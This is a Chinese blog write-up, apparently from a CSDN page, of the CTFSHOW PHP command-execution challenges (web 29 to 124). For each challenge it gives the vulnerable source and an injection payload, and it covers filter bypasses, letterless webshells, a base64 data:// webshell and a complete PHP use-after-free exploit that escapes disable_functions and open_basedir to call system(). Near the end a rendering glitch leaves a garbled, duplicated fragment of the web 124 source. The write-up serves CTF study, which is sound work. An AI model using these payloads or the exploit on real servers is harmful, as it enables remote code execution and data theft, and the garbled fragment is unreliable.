PHP中的命令执行与代码执行


title: PHP中的命令执行与代码执行
data: 2021-09-15
tags: CTF-web


PHP中的命令执行与代码执行

最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。

然后题目的话全都是来源于CTFSHOW的web入门。

对我这种新手来说真是太友好了!

命令执行与代码执行

在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。

通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。

这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。

在下面的文章里遇到了再分析。

常见的代码执行函数

在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:

1.eval($string):
    把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
    这里强调了合法代码和分号结尾。
    我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string 
    当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
    #这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
-------------------------------------------------------------------------------------------------------------------
2.assert($assertion):
    如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
    #在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
    
-------------------------------------------------------------------------------------------------------------------
3.call_user_func($func,$string):
	该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
    

常见的命令执行函数:

在PHP中,允许我们执行系统程序命令。一般有以下函数:

1.system():
	执行一个外部程序命令,并且输出执行结果,返回最后一行。
	#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
	#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
	#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
	执行一个外部程序。并返回执行结果最后一行的内容。
 	#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
	执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
	通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
	#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------
        

linux中用于打开文件的函数:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

某些常用的绕过姿势:

空格的绕过:
        1.%09
        2.重定向 <>
        3.${IFS}
        4./**/ 注释符
某些字符串被过滤:
        1.cat--> ca\t
        2.flag-->fl\ag-->fla''g
        3.f*-->fla?????

CTFSHOW 命令执行

web 29:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

#payload:?c=system(cat f*);

没什么好说的。过滤了flag.但是随便绕。举个栗子。

在linux系统中:
    ca\t f''lag.php == cat flag.php
    ca\t f\lag.php == cat flag.php
    没什么好说的

image-20210916205302694

web 30:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=passthru('cat f*');

过滤了system,用passthru代替。

web 31:空格过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=passthru('more%09f*');

空格被过滤了。使用%09代替。也可以使用

web 32-35:分号过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 33:过滤了单双引号
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 34:过滤了:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 35:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 36:过滤了数字
#payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

本题因为分号被过滤了。因此我们采用?>闭合。并且php中有许多不用括号的函数。因此这里我们利用这个include并结合文件包含的漏洞

web 37,38:文件包含

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:
	GET:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=
	POST:1=system("cat flag.php");

很明显的文件包含执行PHP代码。因为过滤了flag因此我们不能使用filter协议。

那么采用data协议写马。

web 39:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:?c=data://text/plain;base64,<?php system("cat f*")?>

这里在c后面添加了.php但是我们的代码中已经闭合。有没有这个.php影响都不大

web 40:无参RCE

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv()返回包含本地数字及货币格式信息的数组该函数的第一个值就是"."
Cuurent()返回数组中当前元素的值
Next()指针指向下一个元素并且输出
Array_reverse()以相反的顺序返回数组
Print_r()打印变量
Higlight_file高亮显示文件,没什么好说的
Show_source跟highlight_file一样的效果。
Array_reverse倒序数组
Array_rand随机取出数组中的一个或多个单元
Array_filp交换数组的键和值
Readfile读文件
sessionid()返回当前会话ID
scandir(directory,sorting_order,context)以数组形式返回文件和目录第一个参数是目录,第二个是排序方式
pos取第一个值

web 41:无字母数字webshell之 或 构造

这题没什么好说的。ban了异或和取反。留了或。那么利用或构造即可.

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
#payload:c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//

首先我们需要拼接这个$c,进而完成php语句的构建。先拼接一个echo (’ ');shell;//);

再把中间的shell换成我们的构造的system(‘cat flag.php’)

这里需要注意的是用 . 连接就转成了字符串。就不用我们额外构造了。

贴个大佬的构造脚本

<?php
$payload = 'flag.php';//待构造的字母
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
    $flag=0;
    for ($i = 1; $i < 256; $i++) {
        if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
        for ($j = 1; $j < 256; $j++) {
            if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
            if ((chr($i) | chr($j)) === $payload[$l]) {
                echo urlencode(chr($i));
                $a=$a.urlencode(chr($i));
                echo '|';
                echo urlencode(chr($j));
                $b=$b.urlencode(chr($j));
                echo '=' . $payload[$l];
                echo "<br>";
                $flag=1;
                break;
            }
        }
        if($flag===1){
            break;
        }
    }
}

echo $a.'|'.$b;

web 42:取消回显

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
#payload:?c=cat flag.php;

>/dev/null 2>1&1 是没有回显的意思。既然这样我们直接将语句分割开即可。

在Linux中有以下可用于分割语句:

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

也可以利用php的%0a进行换行处理。

web 43~52:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=nl flag.php||
### web 44:多过滤了flag
#payload:?c=nl fla\g.php||
### web 45:多过滤了空格,用%09绕过
#payload:?c=nl%09fla\g.php||
### web 46:多过滤了$,数字,*
#payload:?c=nl<fla\g.php||
### web 47:多过滤了几个more tac
#payload:?c=nl<fla\g.php||
### web 48:多过滤了awk,sed,cut,od,curl
#payload:?c=nl<fla\g.php||
### web 49:通杀了
#payload:?c=nl<fla\g.php||
### web 50:通杀了
#payload:?c=nl<fla\g.php||
### web 51:
#payload:?c=nl<fla\g.php||
### web 52:多过滤重定向了,换个姿势。
#payload:?c=nl${IFS}fla\g.php||

web 53:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=nl${IFS}fla\g.php

刚刚还在拿上一题的打,突然发现换题目了。换了,但没完全换。把||去掉就出flag了。

我自己试了试。发现 || 使用的过程中必须存在前两两条命令。问题不大

web 54:ban了很多

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=vi${IFS}????????

这题ban了太多了。且不允许我们拼接了。但是问题不大。我们还有vim,vi,uniq.

web 55:匹配符的妙用

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以看到这里没有过滤空格。但是ban了字母分号反单引号,重定向。主要是没了字母我们无法构造命令了。

这里学学姿势吧.

姿势一:首先我们了解下bin目录下会存放我们可以使用的命令。既然没有了字母,我们找一些带数字的命令执行

#payload1:?c=/???/????64 ????????  --->匹配后是:?c=/bin/base64 flag.php 

姿势二:/usr/bin目录下有一个bzip2压缩命令。与一些应用软件工具的必备执行档。

#payload2:?c=/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可

姿势三:无字母数字的webshell提高篇(P神)

太🐂了这篇文章。膜拜

.命令,source命令在linux下的用用法为

使用source <文件名> 用当前的shell执行一个文件中的命令
如图所示。我的flag.php里内容是 cat test.txt 。 test.txt里的内容是hello world!

image-20210916205353256

那么现在我们有. 了。这个时候再利用PHP的一个特性。

我们POST一个文件后,该文件会被保存到/tmp/phpXXXXXX  文件后六位是随机的大小写字母。我们可以用通配符,不影响。

但是在我们的Linux中有很多这样的文件。那么我们又该如何精准定位到我们上传的这个文件呢?

image-20210916205412075

在LINUX中通配符除了*?还有其它的用法。

/???/???[-]??????  表示第三个位置是- 
并且我们再利用一个[@-]]       其中@表示ascii值64,[表示91.那么就可以读到大写字母了

image-20210916205434206

那么我们现在上传一个文件。然后利用该方法达到命令执行。因为最后一个数是随机的,因此可以多尝试几次。

web 56:无字母数字webshell

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
    

这一题把数字也ban了。那么上面的两个payload没法用了。只能用最后一个。

web 57:LINUX数字构造

<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

很明显知道flag在36.php.那么我们构造c=36即可。

LINUX下:
    $(())=0
    $((~$(())))=-1
    为了方便理解。我们把-1设为a.即a=$((~$(())))=-1
    那么$((aaaa))=-4  即这个表达式里面是默认加的
    $((~$((aaaa))))=3 取反减1了。
    那么我们直接构造37个a
    
payload:
$((~$((aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa))))
再将a替换成$((~$(())))
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20210916205453781

拿到flag。

web 58:disable_functions绕过

<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
#payload:c=show_source('/var/www/html/flag.php');
### web 59:
#payload:c=show_source('/var/www/html/flag.php');
### web 60:
#payload:c=show_source('/var/www/html/flag.php');
### web 61:
#payload:c=show_source('/var/www/html/flag.php');
### web 63:
#payload:c=show_source('/var/www/html/flag.php');
### web 64:
#payload:c=show_source('/var/www/html/flag.php');
### web 65:
#payload:c=show_source('/var/www/html/flag.php');
### web 66:ban了 show_source
#payload:c=print_r(scandir("../../../"));
#payload:c=highlight_file("/flag.txt");
### web 67:
#payload:c=highlight_file("/flag.txt");
### web 68:ban了更多了,这里利用文件包含漏洞。txt可以直接包含。php用伪协议。
#paylaod:c=include("/flag.txt");
### web 69:
#paylaod:c=include("/flag.txt");
### web 70:
#paylaod:c=include("/flag.txt");

拿到题目我以为??就这??直接一个system(“ls”).发现system被ban了。

发现我最上面列的都被ban了。phpinfo也被Ban了。

但是,这不是我们的一句话木马吗?那直接连接蚁剑上号即可。

预期解法:
    因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
1. highlight_file()
2. file_get_contents()
3. show_source()
4. fgets()
5. file()
6. readfile()
其它姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt"); 

web 71:提前终止

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>
你要上天吗?
#payload:include("/flag.txt");die;或者include("/flag.txt");exit();

还是用上面的payload通,发现字母数字全部被替换成了?。这时候我们可以提前终止执行。

web 72:绕过open_dir和disabled_functions.glob://伪协议

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

open_basedir():限定用户的访问目录为参数里的目录。

glob:伪协议

查找匹配的文件路径模式
例:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
那么我们要打印根目录所有文件:
#c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();

可以看到flag文件为flag0.txt。但是我们依然不能使用include("/flag0.txt"); 因为open_basedir()的存在,限定了我们的访问目录。

利用蚁剑插件或者脚本绕过open_basedir()和disabled_function():

<?php
pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

web 73:

本题没有了open_basedir的限制

#payload:c=include("/flagc.txt");exit();

web 74:

#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
#payload:c=include("/flagx.txt");exit();	

web 75,76:通过数据库load_file函数绕过open_basedir的限制

#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');//连接数据库
       
      foreach($dbh->query('select load_file("/flag36.txt")') as $row)//利用load_file加载文件flag36.txt
      {echo($row[0])."|"; }$dbh = null;}

  catch (PDOException $e) {echo $e->getMessage();exit(0);}

  exit(0);

这个姿势也太神奇了。但是首先得拿到数据库得配置文件。

web 77:FFI读取文件(PHP>=7.4)

#payload:c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit(); 
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHPFFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数
但是flag36x.txt是空的。那么我们执行readflag命令吧。

web 118:Linux下环境变量的妙用

如图所示:

image-20210916205528133

本题过滤了小写字母。那么我们利用切片技术来构造我们的Payload。可以看出~大写字母取最后一位。

加上Hint里面的这张图。当前目录在题目中肯定是 P W D = / v a r / w w w / h t m l . 而 {PWD}=/var/www/html. 而 PWD=/var/www/html.{PATH}一般都是以bin结尾,那么构造nl flag.php

#payload:${PATH:~A}${PWD:~A} ????.???

web 119,120:Linux下环境变量的妙用

本题禁用了${PATH}因此我们需要寻找其它代替。

LINUX${#变量} 代表的是变量值的长度。如${#$a} a=12345。那么${#$a}=5。可以理解为strlen函数同效果。
${SHLVL} 的值一般为1.那么${#${SHLVL}}=1
${RANDOM}:返回0~32767的一个随机数,其中4位数和5位数的概率更大。那么${#RANDOM}=4或5的概率更大。
那么我们采用上面的匹配命令进行盲打。
#payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
=>/bin/base64 flag.php 可能需要多试几次,因为这个random吐出4是随机的。

web 121:SHLVL过滤了

在linux下。${#?}=1
#payload1:${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
#payload2:${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
因为这里${#IFS}是一个空格符,tab字符,换行符。那么长度为.即${PWD:3:1}而PWD下/var/www/html。
那么刚好匹配到r。再利用rev flag.php 文件中每行逆序输出

web 122:过滤了PWD

#payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
<A的报错返回也是1,所以就成功得到了数字1,至于数字4RANDOM随机就可以了。

web 124:CISCN 2019 LOVE MATH

国赛的一道原题。核心考点是无字母数字的webshell和数学函数的利用。

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

首先我们要构造的是system(“cat /f*”);

然后因为白名单里只有数学函数。那么我们尝试构造c= _ G E T [ a ] \_GET[a] _GET[a]_GET[b]的形式达到RCE。

那么先构造_GET.因为数学函数是允许的,我们利用一个hex2bin来将_GET用十六进制表示出来。

_GET=hex2bin(5f474554)

但是我们的hex2bin又不在所给的函数范围内。那么我们继续寻找是否存在可利用的函数,将hex2bin加密解码。我们看到一个base_convert函数。那么可以进行一个转换。

在进制转换中找到只有36进制的才不会转码后的丢失。那么我们利用base_convert(10,36)

即payload:base_convert(37907361743,10,36)(5f474554)–>hex2bin(5f474554)—>_GET

因为5f474554是不能直接匹配的。那么我们还需要一个函数dechex(1598506324)=5f474554

#payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{max}($$pi{min});&max=system&min=cat flag.php

an’, ‘lcg_value’, ‘log10’, ‘log1p’, ‘log’, ‘max’, ‘min’, ‘mt_getrandmax’, ‘mt_rand’, ‘mt_srand’, ‘octdec’, ‘pi’, ‘pow’, ‘rad2deg’, ‘rand’, ‘round’, ‘sin’, ‘sinh’, ‘sqrt’, ‘srand’, ‘tan’, ‘tanh’];
preg_match_all(’/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/’, $content, u s e d f u n c s ) ; f o r e a c h ( used_funcs); foreach ( usedfuncs);foreach(used_funcs[0] as KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (!in_array(func, KaTeX parse error: Expected 'EOF', got '}' at position 62: … } }̲ //帮你算出答案 …content.’;’);
}


首先我们要构造的是system("cat /f*");

然后因为白名单里只有数学函数。那么我们尝试构造c=$\_GET[a]$\_GET[b]的形式达到RCE。

那么先构造\_GET.因为数学函数是允许的,我们利用一个hex2bin来将\_GET用十六进制表示出来。

_GET=hex2bin(5f474554)

但是我们的hex2bin又不在所给的函数范围内。那么我们继续寻找是否存在可利用的函数,将hex2bin加密解码。我们看到一个base_convert函数。那么可以进行一个转换。

在进制转换中找到只有36进制的才不会转码后的丢失。那么我们利用base_convert(10,36)

即payload:base_convert(37907361743,10,36)(5f474554)-->hex2bin(5f474554)--->_GET

因为5f474554是不能直接匹配的。那么我们还需要一个函数dechex(1598506324)=5f474554

```php
#payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{max}($$pi{min});&max=system&min=cat flag.php
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值